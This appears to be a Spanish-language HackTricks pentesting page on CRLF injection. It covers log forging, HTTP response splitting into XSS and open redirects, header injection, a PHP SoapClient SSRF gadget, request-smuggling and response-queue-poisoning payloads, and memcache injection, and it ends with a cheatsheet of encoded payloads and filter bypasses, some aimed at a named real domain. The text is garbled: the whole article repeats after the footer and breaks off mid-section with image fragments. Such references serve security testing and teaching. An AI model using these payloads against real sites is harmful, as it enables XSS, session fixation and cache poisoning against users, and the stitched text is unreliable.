# Inyección de CRLF (%0D%0A)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres acceder a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## ¿Qué es CRLF?
Cuando un navegador envía una solicitud a un servidor web, el servidor responde con una respuesta que contiene tanto los encabezados de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Los encabezados HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un salto de línea. En resumen, también se conocen como CRLF.
El servidor web utiliza el CRLF para entender cuándo comienza un nuevo encabezado HTTP y termina otro. El CRLF también puede indicar a una aplicación web o usuario que una nueva línea comienza en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que es utilizado por cualquier tipo de servidor web, incluyendo Apache, Microsoft IIS y todos los demás.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### ¿Qué es la Vulnerabilidad de Inyección de CRLF?
En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto el retorno de carro como los caracteres de salto de línea en la entrada del usuario para engañar al servidor, la aplicación web o al usuario haciéndoles creer que un objeto ha terminado y otro ha comenzado. Como tales, las secuencias de CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.
## Inyección de CRLF en aplicaciones web
En aplicaciones web, una inyección de CRLF puede tener impactos graves, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad de aplicación web de impacto directo. De hecho, un ataque de inyección de CRLF puede tener repercusiones muy serias en una aplicación web, aunque nunca haya sido listado en el Top 10 de OWASP. Por ejemplo, también es posible manipular archivos de registro en un panel de administración como se explica en el siguiente ejemplo.
#### Un ejemplo de Inyección de CRLF en un archivo de registro
Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta Visitada, como el siguiente:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Si un atacante puede inyectar los caracteres CRLF en la solicitud HTTP, puede cambiar el flujo de salida y falsificar las entradas del registro. Puede cambiar la respuesta de la aplicación web a algo como lo siguiente:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Los %0d y %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los mostrara:
IP - Hora - Ruta Visitada
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ofuscar sus propias acciones maliciosas. El atacante está literalmente realizando secuestro de página y modificando la respuesta. Por ejemplo, imagina un escenario donde el atacante tiene la contraseña de administrador y ejecutó el parámetro restrictedaction, que solo puede ser utilizado por un administrador.
El problema es que si el administrador se da cuenta de que una IP desconocida utilizó el parámetro restrictedaction, notará que algo está mal. Sin embargo, dado que ahora parece que el comando fue emitido por el localhost (y por lo tanto probablemente por alguien que tiene acceso al servidor, como un administrador) no parece sospechoso.
Toda la parte de la consulta que comienza con %0d%0a será manejada por el servidor como un parámetro. Después de eso hay otro & con el parámetro restricted action que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:
```
/index.php?page=home&restrictedaction=edit
```
### División de Respuesta HTTP
#### Descripción
Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF le indicará al navegador que el encabezado termina y el cuerpo comienza. Eso significa que ahora es capaz de escribir datos dentro del cuerpo de la respuesta donde se almacena el código html. Esto puede llevar a una vulnerabilidad de Cross-site Scripting.
#### Un ejemplo de División de Respuesta HTTP que conduce a XSS
Imagina una aplicación que establece un encabezado personalizado, por ejemplo:
```
X-Your-Name: Bob
```
El valor del encabezado se establece a través de un parámetro get llamado "name". Si no hay codificación de URL en su lugar y el valor se refleja directamente dentro del encabezado, podría ser posible para un atacante insertar la combinación mencionada de CRLFCRLF para indicarle al navegador que el cuerpo de la solicitud comienza. De esa manera, puede insertar datos como XSS payload, por ejemplo:
```
?name=Bob%0d%0a%0d%0a
```
Lo anterior mostrará una ventana de alerta en el contexto del dominio atacado.
#### Un ejemplo de HTTP Response Splitting que conduce a Redirección
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Navegar a:
```
/%0d%0aLocation:%20http://myweb.com
```
Y el servidor responde con el encabezado:
```
Location: http://myweb.com
```
**Otro ejemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### En la ruta de la URL
Puedes enviar el payload **dentro de la ruta de la URL** para controlar la **respuesta** del servidor:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
```markdown
### Inyección de Encabezados HTTP
#### Descripción
Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían utilizarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la política de mismo origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede configurar cookies que podrían ser explotadas al iniciar sesión de la víctima en la cuenta del atacante o al explotar vulnerabilidades de [cross-site scripting (XSS)](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) que de otro modo no serían explotables.
#### Un ejemplo de Inyección de Encabezados HTTP para extraer datos sensibles
Si un atacante puede inyectar los encabezados HTTP que activan CORS (Cross Origin Resource Sharing), puede usar javascript para acceder a recursos que de otro modo estarían protegidos por SOP (Same Origin Policy), que impide que sitios de diferentes orígenes accedan entre sí.
### Nueva solicitud HTTP en SSRF
Abusando de la inyección CRLF puedes **crear una nueva solicitud HTTP e inyectarla**.\
Un buen ejemplo se puede realizar utilizando el gadget de deserialización `SoapClient` en PHP. Esta clase es **vulnerable a CRLF** dentro del parámetro `user_agent` permitiendo **insertar nuevos encabezados y contenido del cuerpo**. Sin embargo, incluso podrías ser capaz de abusar de esta vulnerabilidad para **inyectar una nueva solicitud HTTP:**
```
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Inyección de Encabezados para el Contrabando de Solicitudes
Puedes inyectar encabezados esenciales para asegurar que el **back-end mantenga la conexión abierta** después de responder a la solicitud inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Entonces, **especifique una segunda solicitud**. Aquí tiene un **clásico** [**request smuggling**](http-request-smuggling/) con **encabezados/cuerpo extra** añadidos por el servidor después de la inyección.
Aquí hay dos de las muchas opciones para la explotación entre usuarios.
Especificar un **prefijo malicioso** para envenenar la solicitud del siguiente usuario o una caché web:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
O elaborar nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar **response queue poisoning**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Para más información sobre esta técnica y problemas potenciales [**consulte la fuente original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Inyección en Memcache
Memcache es un **almacén de clave-valor que utiliza un protocolo de texto claro**. Más información en:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin desinfectar** para realizar **solicitudes** a un servidor de **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**.
Por ejemplo, en la vulnerabilidad originalmente descubierta, las claves de caché se usaban para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos nombres de usuario y contraseñas) a los servidores del atacante:
Además, los investigadores también descubrieron que podían desincronizar las respuestas de memcache para enviar la IP y los puertos de los atacantes a usuarios cuyo correo electrónico el atacante no conocía:
**Para la información completa lea el**[ **artículo original**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
## Impactos de la Vulnerabilidad de Inyección CRLF
El impacto de las inyecciones CRLF varía e incluye todos los impactos del Cross-site Scripting hasta la divulgación de información. También puede desactivar ciertas restricciones de seguridad como los Filtros XSS y la Política del Mismo Origen en los navegadores de las víctimas, dejándolos susceptibles a ataques maliciosos.
### Cómo Prevenir Inyecciones CRLF / HTTP Header en Aplicaciones Web
La mejor técnica de prevención es no usar directamente la entrada de los usuarios dentro de los encabezados de respuesta. Si eso no es posible, siempre debe usar una función para codificar los caracteres especiales CRLF. Otra buena práctica de seguridad en aplicaciones web es actualizar su lenguaje de programación a una versión que no permita que CR y LF se inyecten dentro de funciones que establecen encabezados HTTP.
### CHEATSHEET
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## Herramientas Automáticas
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
## Lista de Detección por Fuerza Bruta
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
## Referencias
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 (1) (4).png)
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
## ¿Qué es CRLF?
Cuando un navegador envía una solicitud a un servidor web, el servidor responde con una respuesta que contiene tanto los encabezados de respuesta HTTP como el contenido real del sitio web, es decir, el cuerpo de la respuesta. Los encabezados HTTP y la respuesta HTML (el contenido del sitio web) están separados por una combinación específica de caracteres especiales, a saber, un retorno de carro y un salto de línea. En resumen, también se conocen como CRLF.
El servidor web utiliza el CRLF para entender cuándo comienza un nuevo encabezado HTTP y termina otro. El CRLF también puede indicar a una aplicación web o usuario que una nueva línea comienza en un archivo o en un bloque de texto. Los caracteres CRLF son un mensaje estándar HTTP/1.1, por lo que es utilizado por cualquier tipo de servidor web, incluyendo Apache, Microsoft IIS y todos los demás.\
De [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### ¿Qué es la Vulnerabilidad de Inyección de CRLF?
En un ataque de vulnerabilidad de inyección de CRLF, el atacante inserta tanto el retorno de carro como los caracteres de salto de línea en la entrada del usuario para engañar al servidor, la aplicación web o al usuario haciéndoles creer que un objeto ha terminado y otro ha comenzado. Como tales, las secuencias de CRLF no son caracteres maliciosos, sin embargo, pueden ser utilizados con intenciones maliciosas, para la división de respuestas HTTP, etc.
## Inyección de CRLF en aplicaciones web
En aplicaciones web, una inyección de CRLF puede tener impactos graves, dependiendo de lo que la aplicación haga con los elementos individuales. Los impactos pueden variar desde la divulgación de información hasta la ejecución de código, una vulnerabilidad de seguridad de aplicación web de impacto directo. De hecho, un ataque de inyección de CRLF puede tener repercusiones muy serias en una aplicación web, aunque nunca haya sido listado en el Top 10 de OWASP. Por ejemplo, también es posible manipular archivos de registro en un panel de administración como se explica en el siguiente ejemplo.
#### Un ejemplo de Inyección de CRLF en un archivo de registro
Imagina un archivo de registro en un panel de administración con el patrón de flujo de salida de IP - Hora - Ruta Visitada, como el siguiente:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
Si un atacante puede inyectar los caracteres CRLF en la solicitud HTTP, puede cambiar el flujo de salida y falsificar las entradas del registro. Puede cambiar la respuesta de la aplicación web a algo como lo siguiente:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Los %0d y %0a son las formas codificadas en URL de CR y LF. Por lo tanto, las entradas de registro se verían así después de que el atacante insertara esos caracteres y la aplicación los mostrara:
IP - Hora - Ruta Visitada
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
Por lo tanto, al explotar una vulnerabilidad de inyección CRLF, el atacante puede falsificar entradas en el archivo de registro para ofuscar sus propias acciones maliciosas. El atacante está literalmente realizando secuestro de página y modificando la respuesta. Por ejemplo, imagina un escenario donde el atacante tiene la contraseña de administrador y ejecutó el parámetro restrictedaction, que solo puede ser utilizado por un administrador.
El problema es que si el administrador se da cuenta de que una IP desconocida utilizó el parámetro restrictedaction, notará que algo está mal. Sin embargo, dado que ahora parece que el comando fue emitido por el localhost (y por lo tanto probablemente por alguien que tiene acceso al servidor, como un administrador) no parece sospechoso.
Toda la parte de la consulta que comienza con %0d%0a será manejada por el servidor como un parámetro. Después de eso hay otro & con el parámetro restricted action que será analizado por el servidor como otro parámetro. Efectivamente, esta sería la misma consulta que:
```
/index.php?page=home&restrictedaction=edit
```
### División de Respuesta HTTP
#### Descripción
Dado que el encabezado de una respuesta HTTP y su cuerpo están separados por caracteres CRLF, un atacante puede intentar inyectarlos. Una combinación de CRLFCRLF le indicará al navegador que el encabezado termina y el cuerpo comienza. Eso significa que ahora es capaz de escribir datos dentro del cuerpo de la respuesta donde se almacena el código html. Esto puede llevar a una vulnerabilidad de Cross-site Scripting.
#### Un ejemplo de División de Respuesta HTTP que conduce a XSS
Imagina una aplicación que establece un encabezado personalizado, por ejemplo:
```
X-Your-Name: Bob
```
El valor del encabezado se establece a través de un parámetro get llamado "name". Si no hay codificación de URL en su lugar y el valor se refleja directamente dentro del encabezado, podría ser posible para un atacante insertar la combinación mencionada de CRLFCRLF para indicarle al navegador que el cuerpo de la solicitud comienza. De esa manera, puede insertar datos como XSS payload, por ejemplo:
```
?name=Bob%0d%0a%0d%0a
```
Lo anterior mostrará una ventana de alerta en el contexto del dominio atacado.
#### Un ejemplo de HTTP Response Splitting que conduce a Redirección
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
Navegar a:
```
/%0d%0aLocation:%20http://myweb.com
```
Y el servidor responde con el encabezado:
```
Location: http://myweb.com
```
**Otro ejemplo: (de** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### En la ruta de la URL
Puedes enviar el payload **dentro de la ruta de la URL** para controlar la **respuesta** del servidor:
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
```markdown
### Inyección de Encabezados HTTP
#### Descripción
Al explotar una inyección CRLF, un atacante también puede insertar encabezados HTTP que podrían utilizarse para derrotar mecanismos de seguridad como el filtro XSS de un navegador o la política de mismo origen. Esto permite al atacante obtener información sensible como tokens CSRF. También puede configurar cookies que podrían ser explotadas al iniciar sesión de la víctima en la cuenta del atacante o al explotar vulnerabilidades de [cross-site scripting (XSS)](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/) que de otro modo no serían explotables.
#### Un ejemplo de Inyección de Encabezados HTTP para extraer datos sensibles
Si un atacante puede inyectar los encabezados HTTP que activan CORS (Cross Origin Resource Sharing), puede usar javascript para acceder a recursos que de otro modo estarían protegidos por SOP (Same Origin Policy), que impide que sitios de diferentes orígenes accedan entre sí.
### Nueva solicitud HTTP en SSRF
Abusando de la inyección CRLF puedes **crear una nueva solicitud HTTP e inyectarla**.\
Un buen ejemplo se puede realizar utilizando el gadget de deserialización `SoapClient` en PHP. Esta clase es **vulnerable a CRLF** dentro del parámetro `user_agent` permitiendo **insertar nuevos encabezados y contenido del cuerpo**. Sin embargo, incluso podrías ser capaz de abusar de esta vulnerabilidad para **inyectar una nueva solicitud HTTP:**
```
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### Inyección de Encabezados para el Contrabando de Solicitudes
Puedes inyectar encabezados esenciales para asegurar que el **back-end mantenga la conexión abierta** después de responder a la solicitud inicial:
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
Entonces, **especifique una segunda solicitud**. Aquí tiene un **clásico** [**request smuggling**](http-request-smuggling/) con **encabezados/cuerpo extra** añadidos por el servidor después de la inyección.
Aquí hay dos de las muchas opciones para la explotación entre usuarios.
Especificar un **prefijo malicioso** para envenenar la solicitud del siguiente usuario o una caché web:
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
O elaborar nuestro prefijo para combinarlo con la basura final y crear una segunda solicitud completa para desencadenar **response queue poisoning**.
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
Para más información sobre esta técnica y problemas potenciales [**consulte la fuente original**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
### Inyección en Memcache
Memcache es un **almacén de clave-valor que utiliza un protocolo de texto claro**. Más información en:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
Si una plataforma está tomando **datos de una solicitud HTTP y usándolos sin desinfectar** para realizar **solicitudes** a un servidor de **memcache**, un atacante podría abusar de este comportamiento para **inyectar nuevos comandos de memcache**.
Por ejemplo, en la vulnerabilidad originalmente descubierta, las claves de caché se usaban para devolver la IP y el puerto a los que un usuario debería conectarse, y los atacantes pudieron **inyectar comandos de memcache** que **envenenarían** la **caché para enviar los detalles de las víctimas** (incluidos nombres de usuario y contraseñas) a los servidores del atacante:
.png)
.png)